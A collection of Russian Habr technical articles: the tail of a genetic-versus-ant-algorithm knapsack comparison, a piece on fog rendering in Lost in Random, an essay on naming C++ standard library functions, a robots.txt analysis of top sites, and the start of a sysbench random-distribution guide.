if ((parentAvailability[firstParent] == 1)):
secondParent = int(random.random() / probability) # Выбираем второго родителей
if((firstParent != secondParent)): # Оба родителя подходят
j = 0
parentsGenes = [] # Набор генов для будущего «ребёнка»
while (j < len(population[firstParent].genes)):
parentsGenes.append(population[firstParent].genes[j])
j += 1 # Добавляем гены первого родителя
j = 0
while (j < len(population[secondParent].genes)):
parentsGenes.append(population[secondParent].genes[j])
j += 1 # Добавляем гены второго родителя
parentsGenes = list(set(parentsGenes)) # Убираем дубликаты генов
parentsGenes = SortingGenes(parentsGenes) # Сортируем гены population.append(Genotype(self._maxGenotypeWeight).Born(parentsGenes)) # «Порождаем» новую особь
i += 1
return population
```
Функция для сортировки генов.
```
def SortingGenes(genes):
i = 0
j = 1
while i < (len(genes)-1):
mini = i
while j < (len(genes)):
if genes[j].weight < genes[mini].weight:
mini = j
j+=1
if mini != i:
a = genes[i]
genes[i] = genes[mini]
genes[mini] = a
i+=1
j = i+1
#print(items)
return genes
```
И осталось провести мутацию — создание новых особей каким-то определённым методом. Мутация очень важна для того, чтобы алгоритм очень быстро не сходился к какому-то локальному максимуму за счёт абсолютно новых особей.
```
countMutant = int(self._countMutation * len(population)) # Новые особи
population = EvolutionAlgorithm.RandomMut(self, population, countMutant)
```
```
def RandomMut(self, population, countMutant):
i = 0
while (i < countMutant):
population.append(Genotype(self._maxGenotypeWeight).Born(self._genes))
i += 1
return population
```
И выводим результат. Я выбрал такие коэффициенты, что до конца работы алгоритм оставляет в популяции только одну особь, но в общем случае вывод реализуем так:
```
while (j < len(population)):
Genotype.ShowMeYourGenes(population[j])
j += 1
result = [population[0].weight, population[0].value, population[0].GenesToItems()]
return result
```
И перейдём к проверке.
```
MAXWEIGHTKNAPSACK = 30
COUNTFIRSTGENERATION = 100000
COUNTITERATIONFOREVOLUTION = 100
COUNTSELECTION = 0.52
COUNTREPRODUCTION = 0.9
COUNTMUTATION = 0.1
```
```
items_result.append(EvolutionAlgorithm(COUNTFIRSTGENERATION, COUNTITERATIONFOREVOLUTION, COUNTSELECTION, COUNTREPRODUCTION,
COUNTMUTATION, items, MAXWEIGHTKNAPSACK).TheEvolutionBegins())
```
На тестовых данных алгоритм также находит лучший результат! Но при большем наборе данных (50, 100, 500) результаты уже очевидно выглядят лучше у генетической системы, хотя в муравьином алгоритме на наборе в 50 предметов стабильно находится лучший вариант, когда в эволюционном нашёлся только 1 из 25 (у муравьиного 25/25).
| | | |
| --- | --- | --- |
| | Эволюционный | Муравьиный |
| Количество предметов | Вместимость рюкзака | Стоимость лучшей найденной комбинации | Номера предметов лучшей комбинации | Вместимость рюкзака | Стоимость лучшей найденной комбинации | Номера предметов лучшей комбинации |
| 50 | 30 | 323 | [42, 35, 45, 21, 38, 22, 27, 40, 3, 39] | 30 | 323 | [35, 40, 22, 45, 3, 38, 21, 27, 39, 42] |
| 100 | 30 | 451 | [47, 20, 52, 65, 98, 37, 43, 60, 49, 38, 5, 89, 57, 63, 14] | 30 | 454 | [60, 98, 57, 47, 52, 43, 80, 63, 37, 89, 14, 5, 49] |
| 500 | 30 | 837 | [291, 435, 63, 402, 2, 465, 389, 136, 214, 263, 292, 423, 350, 355, 35, 332, 304, 266, 177, 60, 158, 91, 315, 47, 431, 450] | 30 | 658 | [150, 435, 263, 286, 350, 47, 469, 357, 266, 465, 304, 133, 423, 450, 136, 214, 355, 454, 60, 35] |
С ростом начальных данных (увеличении размера рюкзака, количества предметов, итераций алгоритмов, коэффициентов из генетического) работа алгоритмов замедляется, особенно эволюционного. Так для 50000 предметов, работа обоих алгоритмов достигла 1,5 часов. Страшно представить сколько будет работать алгоритм в реалиях жизни, когда количество возможных предметов переваливает за миллион. Также не стоит забывать, что оба метода не гарантируют нахождение наилучшего решения, а только приближаются к нему.
В общем случае перевес остается на стороне эволюционного алгоритма.
Если спрашивать меня - автора сего проекта - какой же алгоритм лучше и почему, то я поддержу именно генетический. На мой взгляд, он более гибкий и без лишних усложнений даёт достаточно хороший результат за счёт своих инструментов. И все же обе основополагающие идеи алгоритмов будоражат мое сознание ещё со времен обучения в институте. Только задумайтесь: наша природа настолько изобретательна в многообразии своих механизмов устройства, что даже грубые и точные в своём мышлении математики и программисты готовы заимствовать что-то у такой, хаотичной на первый взгляд системы мироздания.
Весь код с остальными методами будет выложен на GitHub в открытый доступ, поэтому предлагаю каждому оценить работу методов и применить их для решения других задач по оптимизации.
[Ссылка на гитхаб](https://github.com/IlyaBlIcGoryanskiy/EvolutionVsAnts).
|
https://habr.com/ru/post/659741/
| null |
ru
| null |
# Туман в Lost in Random
Взгляд изнутри...
-----------------
В процессе разработки [Lost in Random](https://www.ea.com/games/lost-in-random) наши художники часто публиковали концепт-арты и другие изображения, позволявшие взглянуть за кулисы создания игры. Кто-то из нас задался вопросом, можно ли сделать что-то подобное и для кода. Хотя в то время ситуация была довольно суматошной, мне понравилась эта идея, ведь я сам люблю изучать внутреннее устройство любимых игр. Я захотел написать техническую статью о том, над чем работал в то время. Год спустя игра была завершена и у меня появилось немного времени на написание краткой статьи об особенно интересном визуальном эффекте и о том, как он помогает в создании внешнего вида нашей игры.
*Скриншот из Lost in Random*
… на внешний вид Random
-----------------------
Lost in Random обладает собственным визуальным стилем. При его создании мы приложили много сил и умений. Когда я пришёл в Zoink на должность программиста графики, визуальная составляющая и окружения игры уже проделали довольно долгий путь. Моя задача заключалась в том, чтобы взять имеющееся и помочь превратить проект в игру, способную работать на целевых платформах. Быстрая разработка с учётом первоначального видения игры была довольно сложной задачей.
В этой статье я постараюсь рассказать о небольшой части, формирующей эстетику игры, и о том, какую работу нам пришлось проделать для её реализации. Хотя на уникальный внешний вид игры влияет множество аспектов, я хотел бы поговорить об использовании цветного тумана. Может показаться, что это простой эффект, но он оказывает огромное воздействие на общий вид. Для сравнения посмотрите на эти два скриншота, сделанные в движке со включенным и отключенным туманом.
*Один и тот же вид с туманом и без него.*
Изначально в проекте использовался High Definition Render Pipeline (HDRP) движка Unity и его встроенный объёмный туман (Volumetric Fog). Они выглядят абсолютно потрясающе, но эти технологии оказались слишком вычислительно затратными для нескольких целевых платформ. Как и ожидалось, самая серьёзная проблема возникла с Nintendo Switch. Switch — замечательная платформа, как геймеру она нравится мне больше всех. К сожалению, оборудование её не такое уж мощное.
Потратив пару месяцев на тестирование различных опций и исследование внутренностей рендереров Unity, мы решили отказаться от HDRP в пользу более простого, но и более производительного Universal Render Pipeline (URP) для всех платформ. Хоть нас и волновало снижение реалистичности освещения, руководству проекта понравился более мультяшный стиль, который создавался упрощённым освещением. Разумеется, это означало, что теперь мы не могли пользоваться туманом HDRP. Поначалу я пробовал портировать этот туман в URP, но это оказалось хлопотной задачей, не оправдывающей усилий.
В конечном итоге мы использовали две различные реализации тумана. На большинстве платформ использовался объёмный туман. Вторым решением стала система в экранном пространстве, спроектированная так, чтобы быть достаточно быстрой на Switch. Любопытно, что мы использовали это решение в экранном пространстве в сценах со снами на всех платформах.
Объёмный туман
--------------
Объёмный туман, использовавшийся на мощных платформах, был модифицированной версией [Aura 2](https://assetstore.unity.com/packages/tools/137148) — ассета, разработанного Oniric Studio. С технической точки зрения этот ассет очень похож на встроенный в HDRP, но нашим художникам оказалось проще его настраивать нужным им образом. Достаточно было только конвертировать его под URP и добавить функции, которых нам не хватало.
Чтобы конвертировать Aura 2 под URP, мы создали новый `ScriptableRendererFeature`, который вызывает код Aura и заносит результаты в буфер кадров. Обратные вызовы `Camera.onPreCull` и `Camera.onPreRender` просто преобразуются в обратные вызовы `RenderPipelineManager.beginCameraRendering`. Также нам пришлось внести изменения в шейдеры, чтобы прозрачные объекты красивее взаимодействовали с туманом, потому что они не выполняют запись в буфер глубин.
Самым масштабным изменением в Aura 2 стало добавление угасания прямого освещения, присутствующего в тумане HDRP. Оно приглушает солнечный свет, когда игрок углубляется в туман. На скриншотах ниже показан один и тот же вид со включенной и выключенной функцией.
*Тума с затуханием прямого освещения и без него.*
Этот эффект стал одним из множества изменений, внесённых нами в шейдер Lit. Мы скопировали его из угасания по высоте в LightEvaluation.hlsl конвейера HDRP, которое я перенёс в Lighting.hlsl конвейера URP. Необходимо было только добавить код для нашего менеджера объёмов тумана, чтобы он собирал и усреднял параметры угасания от всех текущих активных объёмов тумана.
Туман в экранном пространстве
-----------------------------
Для сохранения единого визуального стиля на всех платформах нам нужно было, чтобы туман выглядел максимально похожим на задуманное, но одновременно оставался достаточно быстрым при работе на Switch. Протестировав множество готовых решений, я написал собственный экспоненциальный туман по высоте специально для Switch.
Это система в экранном пространстве, использующая координаты высоты для определения цвета тумана и экспоненциального угасания для его плотности. Пусть у нас есть плотность тумана `density` и расстояние видимости `depth`, тогда цвет тумана умножается на `1.0 - exp(-depth * density)`, что даёт нам коэффициент, на расстоянии 0.0 равный 0.0 и увеличивающийся до 1.0 с увеличением расстояния видимости до бесконечности.
Туман состоит из трёх слоёв: нижнего, верхнего и слоя скайбокса. Каждый слой имеет собственную высоту, цвет и плотность. Всё, что находится дальше заданного расстояния от камеры и выше высоты скайбокса, использует описанную выше экспоненциальную функцию, применяемую к цвету слоя скайбока. Для всего остального мы вычисляем часть глубины обзора, пересекающуюся между нижней и верхней высоты, и используем её для вычисления видимой высоты в тумане. Затем мы используем нечто напоминающее `smoothstep(LowerHeight, UpperHeight, viewHeight)` для вычисления обратной величины линейной интерполяции между нижней и верхней высотами, а затем применяем получившееся значение как параметр линейной интерполяции между нижними и верхними цветами. Так туман становится градиентом между этими двумя значениями.
Существует два способа вычисления высоты обзора. Стандартный просто берёт высоту, которая достигнута следованием по лучу длины `depth` из позиции камеры и через центр пикселя. Это означает, что цветовой градиент между нижней и верхней высотами чётко заметен на небе при большинстве углов обзора. Ещё один способ — вычисление средней высоты, на которую переместился луч. Это придаёт более мягкий внешний вид. Я сложил эти два способа, потому что не был точно уверен, какой конкретно способ имел в виду наш художник, когда объяснял мне требуемый результат. Я подумал, что надо позволить ему протестировать оба способа и убрать «лишний». После тщательного тестирования и сравнения мне сообщили, что нужны оба способа. На самом деле, в некоторых сценах для более динамичного внешнего вида используются объёмы тумана, сочетающие в себе оба способа.
### Три режима
Одного экземпляра этого решения на основе высот было недостаточно для создания той версии объёмного тумана, который нам был нужен. Чтобы усовершенствовать результат, мы скомбинировали в каждой сцене несколько таких туманов. Наш туман поддерживает три различных режима, определяющих, когда и где они будут рендериться.
* `Global` — рендерится, пока пользователь не находится полностью в объёме с режимом `RenderWhileInside`. Используется для конфигурирования общего внешнего вида сцены.
* `RenderWhileInside` — невидимый снаружи, рендерится только тогда, когда позиция камеры находится в его границах. Используется для изменения общего внешнего вида в маленьких областях.
* `PhysicalObject` — рендерится как параллелепипед и в основном используется для образования слоя тумана, стелящегося по земле.
Обычно в сцене используется один-два объёма тумана `Global` плюс около десятка объёмов, использующих режим `RenderWhileInside` или `PhysicalObject`.
Наш туман в экранном пространстве также поддерживает упомянутое выше затухание освещения. Это означает, что менеджер подает в шейдер Lit те же данные, что и наша модифицированная версия Aura 2. На самом деле, он не влияет на сам шейдер тумана. Там есть и другие тонкости (например, способ смешения солнечного света с цветом тумана), но в целом это довольно простой шейдер, рассчитанный на создание хорошей картинки без необходимости любой иной информации, кроме как позиции камеры и глубины рендеринга.
### Клочья тумана
Моя любимая «фишка» тумана стала счастливой случайностью, используемой только в версии для экранного пространства. Вдоль верхней части объёмов тумана, растянувшихся над землёй, есть анимированная текстура с проплывающими клочьями тумана. При первой реализации этих объёмов я добавил простой шум, чтобы край тумана выглядел слегка нечётким, а не как параллелепипед с ровными краями. Также я сделал его анимированным, чтобы паттерны шума были чуть менее заметными. Позже по просьбе нашего потрясающего художника по окружениям Лео Бриниелссона я заменил функцию шума на текстуру. Я решил, что он просто хочет подобрать собственную функцию шума, не заставляя меня вносить изменения в код. Однако он использовал её, чтобы создать вот это:
*Клочья тумана в версии Lost in Random для Switch.*
Да здравствует Random!
----------------------
Надеюсь, статья была для вас интересной и вы оценили магию, происходящую за кулисами. Разумеется, это лишь краткий обзор того, как работает туман. Можно сказать гораздо больше, особенно о производительности. Однако тогда статья станет гораздо длиннее и чуть сложнее, чем я стремился её сделать.
Об авторе
---------
[](https://agentlien.github.io)
Меня зовут Дэниел «Agentlien» Квик, я разработчик ПО, страстно влюблённый в игры. Сейчас я работаю программистом графики в Thunderful Development над Lost in Random.
[Здесь](https://agentlien.github.io) можно найти некоторые из моих работ.
|
https://habr.com/ru/post/580440/
| null |
ru
| null |
# Название имплементации и название результата
Я хотел написать этот пост ещё в июле, но никак не мог, *о ирония*, решить, как его назвать. Удачные термины пришли мне в голову только после [доклада Кейт Грегори на CppCon](https://www.youtube.com/watch?v=MBRoCdtZOYg), и теперь я наконец могу рассказать вам, как не надо называть функции.
Бывают, конечно, названия, которые вообще не несут информации, типа `int f(int x)`. Ими пользоваться тоже не надо, но речь не о них. Порой бывает, что вроде бы и информации в названии полно, но пользы от неё абсолютно никакой.
Пример 1: std::log2p1()
-----------------------
В C++20 в заголовок добавили несколько новых функций для битовых операций, среди прочих `std::log2p1`. Выглядит она вот так:
```
int log2p1(int i)
{
if (i == 0)
return 0;
else
return 1 + int(std::log2(x));
}
```
То есть для любого натурального числа функция возвращает его двоичный логарифм плюс 1, а для 0 возвращает 0. И это не школьная задачка на оператор if/else, это действительно полезная вещь — минимальное число бит, в которое поместится данное значение. Вот только догадаться об этом по названию функции практически невозможно.
Пример 2: std::bless()
----------------------
*Сейчас будет не про названия*
Небольшое отступление: в С++ арифметика указателей работает только с указателями на элементы массива. Что, в принципе, логично: в общем случае набор соседних объектов неизвестен и “в десяти байтах справа от переменной `i`” может оказаться что угодно. Это однозначно неопределённое поведение.
```
int obj = 0;
int* ptr = &obj
++ptr; // Неопределённое поведение
```
Но такое ограничение объявляет неопределённым поведением огромное количество существующего кода. Например, вот такую упрощённую имплементацию `std::vector::reserve()`:
```
void reserve(std::size_t n)
{
// выделяем память под наши объекты
auto new_memory = (T*) ::operator new(n * sizeof(T));
// переносим их туда
…
// обновляем буфер
auto size = this->size();
begin_ = new_memory; // Неопределённое поведение
end_ = new_memory + size; // Ещё раз неопределённое поведение
end_capacity_ = new_memory + n; // и ещё раз
}
```
Мы выделили память, перенесли все объекты и теперь пытаемся убедиться, что указатели указывают куда надо. Вот только последние три строчки неопределены, потому что содержат арифметические операции над указателями вне массива!
Разумеется, виноват тут не программист. Проблема в самом стандарте C++, который объявляет неопределённым поведением этот очевидно разумный кусок кода. Поэтому [P0593](https://wg21.link/p0593) предлагает исправить стандарт, добавив некоторым функциям (вроде `::operator new` и `std::malloc`) способность создавать массивы по мере необходимости. Все созданные ими указатели будут магическим образом становиться указателями на массивы, и с ними можно будет совершать арифметические операции.
*Всё ещё не про названия, потерпите секундочку.*
Вот только иногда операции над указателями требуются при работе с памятью, которую не выделяла одна из этих функций. Например, функция `deallocate()` по сути своей работает с мёртвой памятью, в которой вообще нет никаких объектов, но всё же должна сложить указатель и размер области. На этот случай P0593 предлагал функцию `std::bless(void* ptr, std::size_t n)` (там была ещё другая функция, которая тоже называется `bless`, но речь не о ней). Она не оказывает никакого эффекта на реально существующий физический компьютер, но создаёт для абстрактной машины объекты, которые разрешили бы использовать арифметику указателей.
Название `std::bless` было временным.
*Так вот, название.*
В Кёльне перед LEWG поставили задачу — придумать для этой функции название. Были предложены варианты `implicitly_create_objects()` и `implicitly_create_objects_as_needed()`, потому что именно это функция и делает.
Мне эти варианты не понравились.
Пример 3: std::partial\_sort\_copy()
------------------------------------
*Пример взят из [выступления Кейт](https://www.youtube.com/watch?v=MBRoCdtZOYg)*
Есть функция `std::sort`, которая сортирует элементы контейнера:
```
std::vector vec = {3, 1, 5, 4, 2};
std::sort(vec.begin(), vec.end());
// vec == {1, 2, 3, 4, 5}
```
Ещё есть `std::partial_sort`, которая сортирует только часть элементов:
```
std::vector vec = {3, 1, 5, 4, 2};
std::partial\_sort(vec.begin(), vec.begin() + 3, vec.end());
// vec == {1, 2, 3, ?, ?} (либо ...4,5, либо ...5,4)
```
И ещё есть `std::partial_sort_copy`, которая тоже сортирует часть элементов, но при этом старый контейнер не меняет, а переносит значения в новый:
```
const std::vector vec = {3, 1, 5, 4, 2};
std::vector out;
out.resize(3);
std::partial\_sort\_copy(vec.begin(), vec.end(),
out.begin(), out.end());
// out == {1, 2, 3}
```
Кейт утверждает, что `std::partial_sort_copy` — так себе название, и я с ней согласен.
Название имплементации и название результата
--------------------------------------------
Ни одно из перечисленных названий не является, строго говоря, *неверным*: они все прекрасно описывают то, что делает функция. `std::log2p1()` действительно считает двоичный логарифм и прибавляет к нему единицу; `implicitly_create_objects()` имплицитно создаёт объекты, а `std::partial_sort_copy()` частично сортирует контейнер и копирует результат. Тем не менее, все эти названия мне не нравятся, потому что они *бесполезны*.
Ни один программист не сидит и не думает “вот бы мне взять двоичный логарифм, да прибавить бы к нему единицу”. Ему нужно знать, во сколько бит поместится данное значение, и он безуспешно ищет в доках что-нибудь типа `bit_width`. К моменту, когда до пользователя библиотеки доходит, при чём тут вообще двоичный логарифм, он уже написал свою имплементацию (и, скорее всего, пропустил проверку для ноля). Даже если каким-то чудом в коде оказалось `std::log2p1`, следующий, кто увидит этот код, опять должен понять, что это и зачем оно нужно. У `bit_width(max_value)` такой проблемы бы не было.
Точно так же никому не надо “имплицитно создавать объекты” или “проводить частичную сортировку копии вектора” — им нужно переиспользовать память или получить 5 наибольших значений в порядке убывания. Что-то типа `recycle_storage()` (что тоже предлагали в качестве названия `std::bless`) и `top_n_sorted()` было бы гораздо понятнее.
Кейт использует термин *название имплементации* для `std::partial_sort_copy()`, но он прекрасно подходит и к двум другим функциям. Имплементацию их названия действительно описывают идеально. Вот только пользователю нужно название результата — то, что он получит, вызвав функцию. До её внутреннего устройства ему нет никакого дела, он просто хочет узнать размер в битах или переиспользовать память.
**Называть функцию на основании её спецификации — значит создавать на ровном месте непонимание между разработчиком библиотеки и её пользователем. Всегда нужно помнить, когда и как функция будет использоваться.**
Звучит банально, да. Но, судя по `std::log2p1()`, это далеко не всем очевидно. К тому же порой всё не так просто.
Пример 4: std::popcount()
-------------------------
`std::popcount()`, как и `std::log2p1()`, в C++20 предлагается добавить в . И это, разумеется, чудовищно плохое название. Если не знать, что эта функция делает, догадаться невозможно. Мало того, что сокращение сбивает с толку (pop в названии есть, но pop/push тут ни при чём) — расшифровка population count (подсчёт населения? число популяций?) тоже не помогает.
С другой стороны, `std::popcount()` идеально подходит для этой функции, потому что она вызывает ассемблерную инструкцию popcount. Это не то что *название* имплементации — это полное её описание.
Тем не менее, в данном случае разрыв между разработчиками языка и программистами не так уж и велик. Инструкция, считающая количество единиц в двоичном слове, называется popcount с шестидесятых. Для человека, хоть сколько-нибудь разбирающегося в операциях с битами, такое название абсолютно очевидно.
*Кстати, хороший вопрос: придумывать ли названия, удобные для новичков, или оставить привычные для олдфагов?*
Хэппи-энд?
----------
[P1956](https://wg21.link/P1956) предлагает переименовать `std::log2p1()` в `std::bit_width()`. Это предложение, вероятно, будет принято в C++20. `std::ceil2` и `std::floor2` тоже переименуют, в std::bit\_ceil() and std::bit\_floor() соответственно. Их старые названия тоже были не очень, но по другим причинам.
LEWG в Кёльне не выбрала ни `implicitly_create_objects[_as_needed]`, ни `recycle_storage` в качестве названия для `std::bless`. Эту функцию решили вообще не включать в стандарт. Тот же эффект может быть достигнут эксплицитным созданием массива байтов, поэтому, дескать, функция не нужна. Мне это не нравится, потому что вызов `std::recycle_storage()` был бы читаемее. Другая `std::bless()` всё ещё существует, но теперь называется `start_lifetime_as`. Это мне нравится. Она должна войти в C++23.
Разумеется, `std::partial_sort_copy()` уже не переименуют — под этим названием она вошла в стандарт ещё в 1998. Но хотя бы `std::log2p1` исправили, и то неплохо.
Придумывая названия функций, нужно думать о том, кто ими будет пользоваться и чего он от них захочет. Как выразилась Кейт, **именование требует эмпатии**.
|
https://habr.com/ru/post/484860/
| null |
ru
| null |
# Анализ файлов robots.txt крупнейших сайтов
Robots.txt указывает веб-краулерам мира, какие файлы можно или нельзя скачивать с сервера. Он как первый сторож в интернете — не блокирует запросы, а просит не делать их. Интересно, что файлы robots.txt проявляют предположения веб-мастеров, как автоматизированным процессам следует работать с сайтом. Хотя бот легко может их игнорировать, но они указывают идеализированное поведение, как следует действовать краулеру.
По существу, это довольно важные файлы. Так что я решил скачать файл robots.txt с каждого из 1 миллиона самых посещаемых сайтов на планете и посмотреть, какие шаблоны удастся обнаружить.
Я взял [список 1 млн крупнейших сайтов от Alexa](http://s3.amazonaws.com/alexa-static/top-1m.csv.zip) и написал [маленькую программу](https://github.com/benfred/bens-blog-code/tree/master/robots.txt-analysis) для скачивания файла robots.txt с каждого домена. После скачивания всех данных я пропустил каждый файл через питоновский пакет [urllib.robotparser](https://docs.python.org/3.0/library/urllib.robotparser.html) и начал изучать результаты.
Найдено в [yangteacher.ru/robots.txt](http://yangteacher.ru/robots.txt)
Огороженные сады: банят всех, кроме Google
==========================================
Среди моих любимых питомцев — сайты, которые позволяют индексировать содержимое только боту Google и банят всех остальных. Например, файл robots.txt сайта Facebook начинается со следующих строк:
> [`Notice: Crawling Facebook is prohibited unless you have express written permission. See: http://www.facebook.com/apps/site_scraping_tos_terms.php`](http://facebook.com/robots.txt)
*(Предупреждение: Краулинг Facebook запрещён без письменного разрешения. См. `http://www.facebook.com/apps/site_scraping_tos_terms.php`)*
Это слегка лицемерно, потому что сам Facebook начал работу с краулинга профилей студентов на сайте Гарвардского университета — именно такого рода активность они сейчас запрещают всем остальным.
Требование письменного разрешения перед началом краулинга сайта плюёт в лицо идеалам открытого интернета. Оно препятствует научным исследованиям и ставит барьер для развития новых поисковых систем: например, поисковику DuckDuckGo запрещено скачивать страницы Facebook, а поисковику Google можно.
В донкихотском порыве назвать и посрамить сайты, которые проявляют такое поведение, я написал [простой скрипт](https://github.com/benfred/bens-blog-code/blob/master/robots.txt-analysis/), который проверяет домены и определяет тех, которые внесли Google в белый список тех, кому разрешено индексировать главную страницу. Вот самые популярные из этих доменов:
(В [оригинальной статье](http://www.benfrederickson.com/robots-txt-analysis/) указаны также аналогичные списки китайских, французских и немецких доменов — прим. пер.)
Я включил в таблицу пометку, позволяет ли сайт ещё DuckDuckGo индексировать свою заглавную страницу, в попытке показать, насколько тяжело приходится в наши дни новым поисковым системам.
У большинства из доменов в верхней части списка — таких как Facebook, LinkedIn, Quora и Yelp — есть одно общее. Все они размещают созданный пользователями контент, который представляет собой главную ценность их бизнеса. Это один из их главных активов, и компании не хотят отдавать его бесплатно. Впрочем, ради справедливости, такие запреты часто представляются как защита приватности пользователей, как в этом [заявлении технического директора Facebook о решении забанить краулеры](https://news.ycombinator.com/item?id=1440154) или глубоко в [файле robots.txt от Quora, где объясняется, почему сайт забанил Wayback Machine](https://www.quora.com/robots.txt).
Далее по списку результаты становятся более противоречивыми — например, мне не совсем понятно, почему [census.gov](http://census.gov/robots.txt) позволяет доступ к своему контенту только трём основным поисковым системам, но блокирует DuckDuckGo. Логично предположить, что данные государственных переписей принадлежат народу, а не только Google/Microsoft/Yahoo.
Хотя я не фанат подобного поведения, но вполне могу понять импульсивную попытку внести в белый список только определённые краулеры, если учесть количество плохих ботов вокруг.
Боты плохого поведения
======================
Я хотел попробовать ещё кое-что: определить самые плохие веб-краулеры в интернете, с учётом коллективного мнения миллиона файлов robots.txt. Для этого я подсчитал, сколько разных доменов полностью банят конкретный useragent — и отранжировал их по этому показателю:
| user-agent | Тип | Количество |
| --- | --- | --- |
| [MJ12bot](http://mj12bot.com/) | SEO | 15156 |
| [AhrefsBot](http://ahrefs.com/robot) | SEO | 14561 |
| [Baiduspider](http://help.baidu.com/question?prod_en=master&class=Baiduspider) | Поисковая система | 11473 |
| [Nutch](http://nutch.apache.org/bot.html) | Поисковая система | 11023 |
| [ia\_archiver](https://support.alexa.com/hc/en-us/articles/200450194-Alexa-s-Web-and-Site-Audit-Crawlers) | SEO | 10477 |
| [WebCopier](http://www.maximumsoft.com/index.htm) | Архивация | 9538 |
| [WebStripper](http://download.cnet.com/WebStripper/3000-2377_4-10046091.html) | Архивация | 8579 |
| [Teleport](http://www.tenmax.com/teleport/pro/home.htm) | Архивация | 7991 |
| [Yandex](https://yandex.com/support/search/robots/user-agent.html) | Поисковая система | 7910 |
| [Offline Explorer](http://www.metaproducts.com/Offline_Explorer.htm) | Архивация | 7786 |
| [SiteSnagger](https://www.pcmag.com/article2/0,2817,24421,00.asp) | Архивация | 7744 |
| [psbot](http://www.picsearch.com/bot.html) | Поисковая система | 7605 |
| [TeleportPro](http://www.tenmax.com/teleport/pro/home.htm) | Архивация | 7063 |
| [EmailSiphon](http://www.useragentstring.com/pages/useragentstring.php?name=EmailSiphon) | Спамерский скрапер | 6715 |
| [EmailCollector](http://www.useragentstring.com/pages/useragentstring.php?name=EmailCollector) | Спамерский скрапер | 6611 |
| [larbin](http://www.useragentstring.com/pages/useragentstring.php?name=larbin) | Неизвестно | 6436 |
| [BLEXBot](http://webmeup-crawler.com/) | SEO | 6435 |
| [SemrushBot](https://www.semrush.com/bot/) | SEO | 6361 |
| [MSIECrawler](http://www.useragentstring.com/pages/useragentstring.php?name=MSIECrawler) | Архивация | 6354 |
| [moget](http://www.useragentstring.com/pages/useragentstring.php?name=moget) | Неизвестно | 6091 |
В списке боты нескольких определённых типов.
Первая группа — краулеры, которые собирают данные для SEO и маркетингового анализа. Эти фирмы хотят получить как можно больше данных для своей аналитики — генерируя заметную нагрузку на многие сервера. Бот Ahrefs даже хвастается: «[AhrefsBot — второй самый активный краулер после Googlebot](https://ahrefs.com/robot)», так что вполне понятно, почему люди хотят заблокировать этих надоедливых ботов. Majestic (MJ12Bot) позиционирует себя как инструмент конкурентной разведки. Это значит, что он скачивает ваш сайт, чтобы снабдить полезной информацией ваших конкурентов — и тоже на главной странице заявляет о «[крупнейшем в мире индексе ссылок](https://majestic.com/)».
Вторая группа user-agents — от инструментов, которые стремятся быстро скачать веб-сайт для персонального использования в офлайне. Инструменты вроде [WebCopier](http://www.maximumsoft.com/products/wc_windows/overview.html), [Webstripper](http://webstripper.net/) и [Teleport](http://www.tenmax.com/teleport/home.htm) — все они быстро скачивают полную копию веб-сайта на ваш жёсткий диск. Проблема в скорости многопоточного скачивания: все эти инструменты очевидно настолько забивают трафик, что сайты достаточно часто их запрещают.
Наконец, есть поисковые системы вроде Baidu (BaiduSpider) и Yandex, которые могут агрессивно индексировать контент, хотя обслуживают только языки/рынки, которые не обязательно очень ценны для определённых сайтов. Лично у меня оба эти краулера генерируют немало трафика, так что я бы не советовал блокировать их.
Объявления о работе
===================
Это знак времени, что файлы, которые предназначены для чтения роботами, часто содержат объявления о найме на работу разработчиков программного обеспечения — особенно специалистов по SEO.
В каком-то роде это первая в мире (и, наверное, единственная) биржа вакансий, составленная полностью из описаний файлов robots.txt. (В [оригинальной статье](http://www.benfrederickson.com/robots-txt-analysis/) представлены тексты всех 67 вакансий из файлов robots.txt — прим. пер.).
Есть некоторая ирония в том, что [Ahrefs.com](http://ahrefs.com/robots.txt), разработчик второго среди самых забаненных ботов, тоже поместила в [своём файле robots.txt](http://ahrefs.com/robots.txt) объявление о поиске SEO-специалиста. А ещё у pricefalls.com объявление о работе в [файле robots.txt](http://pricefalls.com/robots.txt) следует после записи «Предупреждение: краулинг Pricefalls запрещён, если у вас нет письменного разрешения».
Весь код для этой статьи — [на GitHub](https://github.com/benfred/bens-blog-code/tree/master/robots.txt-analysis).
|
https://habr.com/ru/post/341774/
| null |
ru
| null |
# Sysbench и распределение случайных величин
***Перевод статьи подготовлен специально для студентов курса [«Базы данных»](https://otus.pw/GSGr/).***
---
*То, что вы, возможно, не знали о генерации случайных чисел в sysbench*
Sysbench — это популярный инструмент для тестирования производительности. Первоначально он был написан Петром Зайцевым в начале 2000-ых и стал стандартом де-факто для тестирования и бенчмарка. В настоящее время он поддерживается Алексеем Копытовым и размещен в Github [по адресу](https://github.com/akopytov/sysbench).
Однако, я заметил, что, несмотря на его широкое распространение, в sysbench есть малознакомые многим моменты. Например, возможность простой модификации тестов MySQL с помощью Lua или настройка параметров встроенного генератора случайных чисел.
### О чем эта статья?
Я написал эту статью с целью показать, как легко можно настроить sysbench под ваши требования. Есть много способов расширения функциональности sysbench и один из них — настройка генерации случайных идентификаторов (ID).
По умолчанию sysbench поставляется с пятью различными вариантами генерации случайных чисел. Но очень часто (на самом деле, почти никогда) ни один из них не указывается явно, и еще реже можно увидеть параметры генерации (для вариантов, где они доступны).
Если у вас возник вопрос: «И почему меня это должно интересовать? Ведь значения по умолчанию вполне подходят», — тогда этот пост призван помочь вам понять, почему это не всегда так.
### Давайте начнем
Какие есть способы генерации случайных чисел в sysbench? На данный момент реализованы следующие (их вы легко можете посмотреть через опцию --help):
* Special (специальное распределение)
* Gaussian (распределение Гаусса)
* Pareto (распределение Парето)
* Zipfian (распределение Ципфа)
* Uniform (равномерное распределение)
По умолчанию используется Special со следующими параметрами:
* `rand-spec-iter = 12` — количество итераций для специального распределения
* `rand-spec-pct = 1` — процент от всего диапазона, в которое попадают “специальные” значения при специальном распределении
* `rand-spec-res = 75` — процент “специальных” значений для использования в специальном распределении
Поскольку мне нравятся простые и легко воспроизводимые тесты и сценарии, все последующие данные будут собраны с помощью следующих команд sysbench:
* sysbench ./src/lua/oltp\_read.lua -mysql\_storage\_engine=innodb –db-driver=mysql –tables=10 –table\_size=100 prepare
* sysbench ./src/lua/oltp\_read\_write.lua –db-driver=mysql –tables=10 –table\_size=100 –skip\_trx=off –report-interval=1 –mysql-ignore-errors=all –mysql\_storage\_engine=innodb –auto\_inc=on –histogram –stats\_format=csv –db-ps-mode=disable –threads=10 –time=60 –rand-type=XXX run
